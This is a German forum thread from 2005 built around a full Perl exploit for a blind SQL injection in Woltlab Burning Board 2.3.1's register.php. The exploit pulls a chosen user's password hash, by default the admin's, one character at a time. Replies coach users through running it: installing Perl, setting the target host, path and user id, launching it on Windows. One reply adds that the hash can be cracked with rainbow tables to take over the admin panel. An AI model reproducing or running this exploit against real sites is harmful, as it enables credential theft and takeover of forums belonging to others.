Woltlab Burning Board <=2.3.1 register.php SQL-injection Exploit

Dieses Thema im Forum "Sicherheit & Datenschutz" wurde erstellt von The_Gangsta, 23. Juli 2005 .

Status des Themas:
Es sind keine weiteren Antworten möglich.
  1. 23. Juli 2005
    Code:
    #!/usr/bin/perl
    
    use strict;
    use IO::Socket::INET;
    
    
    $| = print "
    Woltlab Burning Board <= 2.3.1 Exploit
    Vulnerability discovered by GulfTech Security Research
    Visit www.security-project.org
    Exploit by deluxe89
    ----------
    ";
    
    
    
    my $host = 'www.security-project.org';
    my $path = '/wbb2/'; # path to the board
    my $userid = 1; # the password hash will be from the user with this id
    my $username = 'deluxe89'; # any username from the board
    my $proxy = ''; # proxy, you can leave this empty
    my $error = 'E-Mail-Adresse ist unzul&auml;ssig'; # use 'email address entered is already ta' for english boards
    
    
    # proxy handling
    my ($addr, $port) = ($proxy ne '') ? split(/:/, $proxy) : ($host, 80);
    if($proxy ne '')
    {
     print "[~] Using a proxy\n";
    }
    else
    {
     print "[~] You're using NO proxy!\n";
     sleep(1);
    }
    
    
    
    
    
    #
    # Get the hash
    #
    
    print "[~] Getting the hash. Please wait some minutes..\n[+] Hash: ";
    
    
    my $hash = '';
    for(my $i=1;$i<33;$i++)
    {
     my $sock = new IO::Socket::INET(PeerAddr => $addr, PeerPort => $port, Proto => 'tcp', Timeout => 8) or die('[-] Could not connect to server');
    
     if(&test($i, 96)) # buchstabe
     {
     for(my $c=97;$c<103;$c++)
     {
     if(&test($i, $c, 1))
     {
     print pack('c', $c);
     last;
     }
     }
     }
     else # zahl
     {
     #print "0-4\n";
     for(my $c=48;$c<58;$c++)
     {
     if(&test($i, $c, 1))
     {
     print pack('c', $c);
     last;
     }
     }
     }
    }
    print "\n";
    
    
    sub test
    {
     my ($i, $num, $g) = @_;
    
     my $sock = new IO::Socket::INET(PeerAddr => $addr, PeerPort => $port, Proto => 'tcp', Timeout => 8) or die('Could not connect to server');
     my $value = "sre4sdffr\@4g54asd5.org' OR (userid=$userid AND ascii(substring(password,$i,1))";
     $value .= ($g) ? '=' : '>';
     $value .= "$num)/*";
     my $data = "r_username=$username&r_email=$value&r_password=aaaaaaaa&r_confirmpassword=aaaaaaaa&r_homepage=&r_icq=&r_aim=&r_yim=&r_msn=&r_day=0&r_month=0&r_year=&r_gender=0&r_signature=&r_usertext=&field%5B1%5D=&field%5B2%5D=&field%5B3%5D=&r_invisible=0&r_usecookies=1&r_admincanemail=1&r_showemail=1&r_usercanemail=1&r_emailnotify=0&r_notificationperpm=0&r_receivepm=1&r_emailonpm=0&r_pmpopup=0&r_showsignatures=1&r_showavatars=1&r_showimages=1&r_daysprune=0&r_umaxposts=0&r_threadview=0&r_dateformat=d.m.Y&r_timeformat=H%3Ai&r_startweek=1&r_timezoneoffset=1&r_usewysiwyg=0&r_styleid=0&r_langid=0&send=send&sid=&disclaimer=viewed";
    
     print $sock "POST http://$host${path}register.php HTTP/1.1\r\nHost: $host\r\nConnection: Close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".length($data)."\r\n\r\n$data\r\n";
    
    
     while(<$sock>)
     {
     if($_ =~ m/$error/) { return 1; }
     }
     return 0;
    }

    WER KANN MIR SAGEN WAS DSA MIR BRINGT ODER WIE ICH DAS BENUTZE ETC....IS WICHTIG DANKE SCHONMAL UND GEHT DAS AUCH WENN DIE REGISTRIERUNG AUSGESCHALTET IST...
     
  2. 23. Juli 2005
    nein

    Mit nem Perl-Interpreten ausführen.
    http://www.perl.com/download.csp
     
  3. 23. Juli 2005
    kann man das auch auf nem shell ausführen?
    wen ja wie?
     
  4. 23. Juli 2005
    hmm könnte jemand ein tutorial dazu machen ^^
     
  5. 23. Juli 2005
    Falls du damit einen Rechner meinst auf dem du shell-Zugiff hast.
    Ja - falls Perl installiert ist.

    einfach in das Verzeichnis des Exploits wechseln und dann per ./exploitname.pl ausführen.
     
  6. 23. Juli 2005
    danke
    (hoffentlich hab ich bei der anmeldung nicht meine daten angegeben )
     
  7. 23. Juli 2005
    Wie verwendet man ein Perl-Exploit.

    Da Perl nur eine Scriptsprache ist, benötigt man einen Interpreten, der die Befehle ausführt.

    Perl - Download - www.perl.org [hier downloaden und installieren]

    Da dieser Code für *nix ist muss er auf einem Win32 System etwas angepasst werden.
    #!/usr/bin/perl muss geändert werden in #!c:\pfad\zu\perl.exe
    damit das Script überhaupt ausgeführt werden kann.

    Außerdem müssen folgende Variablen angepasst werden:

    my $host = 'www.security-project.org';
    my $path = '/wbb2/'; # path to the board
    my $userid = 1; # the password hash will be from the user with this id
    my $username = 'deluxe89'; # any username from the board

    Sobald dies gemacht wurde. => abspeichern z.B. in c:

    dann cmd starten (start 0> ausführen => cmd [enter])
    und in das Verzeichnis wechseln in dem das Exploit liegt.
    z.B. cd c:\
    um das Script auszuführen folgendes in der Kommandozeile eingeben:
    perl.exe exploitname.pl [enter] .
     
  8. 19. September 2005
    Was soll ich da eingeben.....

    my $path = path to the board....?
     
  9. 19. September 2005
    wenn die url z.B. http://www.bla.de/foo/wbb/register.php ist
    my $path = "/foo/wbb/";
     
  10. 19. September 2005
    Soll ich bei Email und Proxy's nix eingeben.....

    Bei mir steht immer Getting the Hash plese Wait.....und dann nix!
     
  11. 20. September 2005
    wofür ist der Exploit gut was macht der???
     
  12. 20. September 2005
    man erstellt paar tausend fake accounts die aber nichts bringen... eigentlich ziemlicher lamer scheis, gabs bei uns auch mal aber wenn man nen img check einbaut hat das eh kein sinn mehr. und bei neueren versionene ist der automatisch drin darum gehts da garnichtmehr :/
     
  13. 20. September 2005
    Sicher? - Also zumindes bei mir erstellt er keine Fake Accounts sondern überpfüft ob
    oder anders gesagt ob der PW-Hash an der Stelle $i das Zeichen $num hat und somit den PW-Hash jedes Benutzers in der DB ausgeben kann.
     
  14. 20. September 2005
    grml, also das exploit (welches ganz nebenbei nur bei un gepatchen boards funzt <- deshalb 2.3.1^^) gibt dir den md5hash (welcher noch gecrackt werden muss) eines bestimmten users. Dazu musste nur die genaue board url, die id es benutzers (1=admin, da als erster regged) und einen xbeliebigen benutzername einer person die regged ist............da script fürhste dann z.bb. mit activerperl aus (proxy wäre hilfreich) und dann bekommste langsam den pwhash angezeigt......den nimmste dann und brutest oder lässt in nem rainbowtable nachschaun und dann haste das pw des admins, mit dem du u.a. auch ins acp kommst.........^^


    also nix mit fakeacc o.ä.^^
     
  15. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.